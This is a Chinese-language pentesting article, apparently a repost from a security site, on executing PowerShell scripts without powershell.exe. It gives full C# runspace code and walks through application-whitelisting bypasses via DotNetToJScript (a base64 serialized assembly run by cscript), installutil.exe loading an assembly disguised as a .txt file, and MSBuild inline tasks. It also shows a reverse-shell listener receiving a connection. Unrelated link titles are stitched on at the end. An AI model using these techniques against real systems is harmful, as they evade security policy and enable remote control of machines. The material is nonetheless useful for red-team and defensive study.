0x00 前言

作为一个 pentest,真的是不需要 Powershell 吗?如果是,我真的会觉得不可思议。

但是,如果是因为某些策略,阻止了你对 powershell.exe 的访问,那该怎么办?宾果,你想对了,有好几个众所周知的解决方案,在本文中,我们使用 C# 程序集来执行我们的 powershell脚本。

首先,我们为什么可以不使用 powershell.exe 来执行 .ps1 脚本?是因为 Powershell 脚本就和 C# 一样,都属于 .Net Framework 框架,他们本质上是一样的。

0x01 引用 Automation

在 C# 中,你需要编译它才能执行,这与 powershell.exe 所解释的 Powershell 脚本不同。鉴于 powershell.exe 只是 .Net 程序集,我们应该可以使用 C# 中的 System.Management.Automation 的解释器与该对象进行交互并执行 .ps1 脚本。

这正是以下代码的作用:

using System.Collections.ObjectModel; using System.Management.Automation; using System.Management.Automation.Runspaces; using System.IO;using System;using System.Text;namespace PSLess{ class PSLess { static void Main(string[] args) { if(args.Length ==0) Environment.Exit(1); string script=LoadScript(args[0]); string s=RunScript(script); Console.WriteLine(s); Console.ReadKey(); } private static string LoadScript(string filename)  {  string buffer =""; try { buffer = File.ReadAllText(filename); } catch (Exception e)  {  Console.WriteLine(e.Message); Environment.Exit(2); } return buffer; } private static string RunScript(string script)  {  Runspace MyRunspace = RunspaceFactory.CreateRunspace(); MyRunspace.Open(); Pipeline MyPipeline = MyRunspace.CreatePipeline();  MyPipeline.Commands.AddScript(script); MyPipeline.Commands.Add("Out-String"); Collection outputs = MyPipeline.Invoke(); MyRunspace.Close(); StringBuilder sb = new StringBuilder();  foreach (PSObject pobject in outputs)  {  sb.AppendLine(pobject.ToString());  } return sb.ToString();  } }}

首先,使用 RunScript() 方法首先创建一个 “runspace”, 可以将它理解为Powershell运行时的隔离实例。

然后,将脚本添加到新创建的管道中,以某种方式进行通信,并通过 Invok() 方法执行脚本命令。

最后,将运行结果添加到我们的 StringBuilder 中,并使用 ToString() 作为字符串返回,以显示在控制台输出中。这就是为什么我们在命令中添加 “Out-String”。

你是不是也觉得很简单?是时候编译并测试它了!

C:WindowsMicrosoft.NETFramework64v4.0.30319csc.exe/reference:C:WindowsMicrosoft.NETassemblyGAC_MSILSystem.Management.Automationv4.0_3.0.0.0__31bf3856ad364e35system.management.automation.dll /out:c:setuppowerless.exe c:scriptspowersless.cs

请记住,csc.exe 的位置可能不同的系统会有所不同,具体取决于系统上安装的框架版本。还要记住在编译器的引用中要添加“ system.management.automation.dll”程序集。

如果一切正常,则应该已成功编译了此程序。创建一个简单的测试脚本:

test.ps1:echo "Hello from powershell-less"echo "PID: $pid"

启动:

宾果,有效!只需从我们的exe调用脚本,而无需powershell.exe!

这是一个非常简单测试脚本,如果还需要接收用户持续输入的阐述,则整个代码会更加复杂一些,但是在日常的测试中,这种情况是很少的。

0x02 DotNetToJscript

上个小节,是在无限制的环境中,单纯的使用 C# 去加载 powershell 脚本。

现在我们根据现实环境模拟出更加复杂的场景:

  • 你无法运行除 classic 目录以外的 exe 二进制文件

那我们该怎么做?这里向你介绍一个神器:DotNetToJscript,这是非常出色的工具,主要是用于创建JScript文件的工具,该文件从内存中加载.NET v2程序集。

cscript.exe 解释了 JScript 和 VBscript文件在 System32 中是合法的本地可执行文件。所以应该没有问题,对吧?

首先,下载整个 DotNetToJscript 项目,启动Visual Studio 2015,打开项目 “DotNetToJScript.sln”,然后切换到 TestClass.cs:

将 TestClass() 函数中的 MessageBox(…) 注释掉,否则每次运行都会弹窗。

接下来,对 System.Management.Automation.Runspaces 和 System.Management.Automation 程序集进行引用,并在 TestClass 中添加以下方法:

private string LoadScript(string filename) { string buffer =""; try { buffer = File.ReadAllText(filename); } catch (Exception e) { return ""; } return buffer; } public void RunScript(string filename) { Runspace MyRunspace = RunspaceFactory.CreateRunspace(); MyRunspace.Open(); Pipeline MyPipeline = MyRunspace.CreatePipeline(); string script=LoadFile(filename); MyPipeline.Commands.AddScript(script); MyPipeline.Commands.Add("Out-String"); Collection outputs = MyPipeline.Invoke(); MyRunspace.Close(); StringBuilder sb = new StringBuilder(); foreach (PSObject pobject in outputs) { sb.AppendLine(pobject.ToString()); } Console.WriteLine(sb.ToString());}

我只是做了一个小更改,将运行结果直接在 RunScript() 中进行输出。编译整个工程,将会得到:

  • Dotnettojscript.exe – 转换器
  • ExampleAssembly.dll – 我们的 TestClass 的程序集

Dotnettojscript.exe 将从我们的程序集中生成一个 .js 脚本

Dotnettojscript.exe  > testps.js

我们的 testps.js文件已经准备好,我们来看一下它的内容。基本上,我们的程序集已转换为 base64序列化对象。当我们调用脚本时,将执行以下操作:

var entry_class = 'TestClass';try {setversion();var stm = base64ToStream(serialized_obj);var fmt = new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter');var al = new ActiveXObject('System.Collections.ArrayList');var d = fmt.Deserialize_2(stm); al.Add(undefined);var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);o.RunScript("c:scriptsest.ps1");} catch (e) {debug(e.message);}

存储的对象将转换为流,反序列化并最终实例化。我们使用 RunScript() 执行上一小节添加 Powershell测试脚本。

宾果,成功。

0x03 Installutil.exe

第二小节,我们使用 DotNetToJscript 来绕过 AppLocker策略。现在我们尝试使用另一种技术。

环境与第二小节一致:无法执行除Windows目录以外的可执行文件,也无法运行 powershell.exe。

不知道你们听说过 installutil.exe,它一般位于 dot.net framework 文件夹中,比如

C:WindowsMicrosoft.NETFramework64v4.0.30319

为什么可以利用这个文件呢,是因为这个工具是 一个命令行使用程序,可让你通过执行指定程序集中的安装程序组件来安装和卸载服务资源。 通常需要与 System.Configuration.Install 命名空间中的类搭配使用。

  • 我们可以将 installutil 集成到无 powershell 的程序集中,并且我们可以用自己的行为对它的一些操作进行掩盖。例如:卸载过程 ==》 installutil /u
  • installutil 并不是需要具有 .exe 后缀的程序集

现在,我们看看如何实现我们的目标。其实也非常简单:

  • 在无 powershell 的 C# 代码中,我们对 System.Configuration.Install 进行引用;
  • 并且创建继承于 System.Configuration.Install.Installer 的专类;
  • 我们覆盖 Uninstall() 方法,然后执行 powershell 脚本。
using System.Collections.ObjectModel;using System.Management.Automation;using System.Management.Automation.Runspaces;using System.Runtime.InteropServices;using System.IO;using System;using System.Text;using System.Configuration.Install;namespace PSLess{ [System.ComponentModel.RunInstaller(true)] public class InstallUtil : System.Configuration.Install.Installer { public override void Uninstall(System.Collections.IDictionary savedState) { string[] args= {this.Context.Parameters["ScriptName"]}; PSLess.Main(args); } } class PSLess { public static void Main(string[] args) { if (args.Length == 0) Environment.Exit(1); string script = LoadScript(args[0]); string s = RunScript(script); Console.WriteLine(s); } private static string LoadScript(string filename) { string buffer = ""; try { buffer = File.ReadAllText(filename); } catch (Exception e) { Console.WriteLine(e.Message); Environment.Exit(2); } return buffer; } private static string RunScript(string script) { Runspace MyRunspace = RunspaceFactory.CreateRunspace(); MyRunspace.Open(); Pipeline MyPipeline = MyRunspace.CreatePipeline(); MyPipeline.Commands.AddScript(script); MyPipeline.Commands.Add("Out-String"); Collection outputs = MyPipeline.Invoke(); MyRunspace.Close(); StringBuilder sb = new StringBuilder(); foreach (PSObject pobject in outputs) { sb.AppendLine(pobject.ToString()); } return sb.ToString(); } }

上面的代码,与第一小节大致相同:

  • 添加了对 “System.Configuration.Install”的引用;
  • 添加了从“System.Configuration.Install.Installer” 派生的 “InstallUtil”类
  • 重写了方法 Uninstall(),该方法调用PSLess.Main方法,并传递在命令行参数 “ScriptName” 中指定的脚本名称

现在让我们编译它成 powershell-less.exe ,然后重命名为powerhsell.txt 。

们已经准备好了 test.ps1:

echo "hello from powershell-less"echo "this is your pid:$PID"$psversiontable

测试所用命令如下:

installutil /logfile= /LogToConsole=false /ScriptName=c:andreaest.ps1 /U Powershell.txt

成功执行无 Powershell 的伪txt文件!

现在,我们知道了如何使用 .txt扩展名运行自定义程序集,我们可以做更多的事情,你能想到的基本都能实现,没有限制,我们就测试一个 reverse shell。

listening on [any] 4444 ...connect to [192.168.1.128] from [192.168.1.8] 50211Microsoft Windows [Versione 10.0.15063](c) 2017 Microsoft Corporation. Tutti i diritti sono riservati.​d:andreaeverseshelleverseshellbinRelease>

0x04 MSBuild.exe

MSBuild 是 .Net框架中包含的工具,用于创建软件产品的自动化过程,其中包括编译源代码,打包,测试,部署和创建文档。

Msbuild 依赖于 .csproj 文件,该文件具有XML语法,并且包含成功构建.Net程序集的所有说明(可以将其视为与 Linux/Unix 中的 “make” 实用程序等效)

有趣的是,可以在 .csproj 文件中包含 taks,这些文件将在构建过程中执行。而这些 taks 可以使用 C#代码 编写实现。这是我们的test.csproj文件:

 outputs = MyPipeline.Invoke(); MyRunspace.Close(); StringBuilder sb = new StringBuilder(); foreach (PSObject pobject in outputs) { sb.AppendLine(pobject.ToString()); } return sb.ToString(); }} ]]>< / Code>

我们定义了名为 “PSLess” 的任务(自定义内联任务),“CodeTaskFactory” 是实现内联任务的类,并存储在 “Microsoft.Build.Tasks.v4.0.dll” 程序集文件中。请注意,不同环境该位置可能会有所不同,因为它取决于你的 .Net Framework 版本。

告诉 MSBuild 我们的任务是用 C# 编写的,如你所见,核心 C#程序 看起来像第三小节所使用的程序。在这种情况下,“PSLess” 类是从 “Task”类 继承的,我们将重写 Execute() 方法来调用 C#代码。

嗯,是时候进行测试了,我们将再次使用非常简单的 “test.ps1” 脚本。

echo "hello from powershell-less"echo "this is your pid:$PID"$psversiontable

再次成功,本例更复杂的示例在这可找到:MSBuildShell

0x05 结语

其实,这是个无休止的探索,有很多方法可以达到这些效果。

原文链接:https://www.anquanke.com/post/id/189152

欢迎登录安全客 - 有思想的安全新媒体www.anquanke.com/ 加入交流群814450983 获取更多最新资讯吧

winexec函数 执行powershell 脚本_丢掉 Powershell.exe 来渗透测试相关推荐

  1. 渗透分支写脚本_给小白的黑盒渗透测试作业——漏洞分析测试到安全加固建议...

    概述 2016.12.22收到关于海洋网站及内网的的渗透测试项目,并对海洋CMS进行黑盒渗透测试.本次渗透测试对存在的漏洞进行了仔细的分析和测试,以了解该站点和对应的内网的安全程度,同时给出相应的安全 ...

  2. powershell 入门_使用PowerShell入门的5个Cmdlet

    powershell 入门 PowerShell is quickly becoming the preferred scripting language and CLI of Power Users ...

  3. java执行python脚本_通过Java调用Python脚本

    在进行开发的过程中,偶尔会遇到需要使用Java调用Python脚本的时候,毕竟Python在诸如爬虫,以及科学计算等方面具有天然的优势.最近在工作中遇到需要在Java程序中调用已经写好的Python程 ...

  4. flask执行python脚本_如何在Flask中运行python脚本

    我有一个Flask脚本,可以创建网站并动态打印一些数据.-打印的数据应来自另一个python脚本. 我目前面临的问题是,如果我将执行python脚本的行放在执行Flask应用程序的行之前,它将运行Py ...

  5. java执行python脚本_使用Runtime.getRuntime().exec()在java中调用python脚本

    举例有一个Python脚本叫test.py,现在想要在Java里调用这个脚本.假定这个test.py里面使用了拓展的包,使得pythoninterpreter之类内嵌的编译器无法使用,那么只能采用ja ...

  6. python装饰器函数执行后日志_一篇文章搞懂Python装饰器所有用法

    如果你接触 Python 有一段时间了的话,想必你对 @ 符号一定不陌生了,没错 @ 符号就是装饰器的语法糖. 它放在一个函数开始定义的地方,它就像一顶帽子一样戴在这个函数的头上.和这个函数绑定在一起 ...

  7. mysql开源内库_记一次内衣渗透测试

    文章很水,被学校强迫去上syb创业指导课,同桌上课难耐,人多又不敢去p站看考研视频,只能逛逛这些nei衣店缓冲一下,于是就有了下文 0x01 SQL注入 这站真大,不对,这站真圆.php的站随便随便一 ...

  8. powershell 使用_使用PowerShell提取Azure成本

    powershell 使用 With strong organization and design for our development teams, cloud infrastructure an ...

  9. 对未标记为可安全执行的脚本_三、??XSS跨站脚本攻击

    跨站脚本攻击(Cross Site Scripting),缩写为XSS.恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意 ...

最新文章

  1. 2017/12/14 懒冬 时间序列基础
  2. flask高级编程 LocalStack 线程隔离
  3. 理解 Glance - 每天5分钟玩转 OpenStack(20)
  4. SharePoint 2013 本地开发解决方案以及程调试
  5. [html] 你认为Html的术难点在哪?
  6. mysql数据库修改排序规则
  7. `ll/sc` 指令在`linux`中的软件实现
  8. 第13章 用序列化保存模型
  9. android fake gps,假GPS定位(Fake GPS Position) v4.5 安卓版
  10. jdk1.8 64位与32位免费下载
  11. linux文件的上传和下载(终端工具SCRT和XShell)
  12. xjoi 1524 枚举集合
  13. 【C语言练习——打印空心下三角及其变形】
  14. 【其他工具】亲戚关系计算器
  15. apple tv 开发_如何在新的Apple TV上重新排列,配置和删除应用程序和游戏
  16. 别让CDN的回源把你的服务器拖垮,采用正确的回源策略
  17. flutter实战!一个Android应届生从上海离职,深度好文
  18. 几组数据的相关性python_几的定义
  19. spring boot(四):thymeleaf使用详解
  20. Vue.js实战——内置指令(二)

热门文章

  1. 一稿过的Banner模板素材!做电商的你一定需要
  2. 鲜花海报,文字与花儿碰上的时候,美妙
  3. UI设计实用素材|扁平化设计的模板
  4. 计算机一级windows系统操作知识点,计算机一级考试:高分必看知识点之windows操作...
  5. wits数据格式_WITS标准
  6. ueditor如何去掉末尾的p标签_织梦dedecms如何去掉域名后面的index.html
  7. 新高考改革选计算机专业要学什么,2020高考改革后考生如何选科与选专业?
  8. js能调用c语言吗,如何从Javascript调用Object-C?
  9. python watchdog_Python watchdog
  10. OpenSubdiv:大规模并行CPU和GPU架构上实现高性能细分表面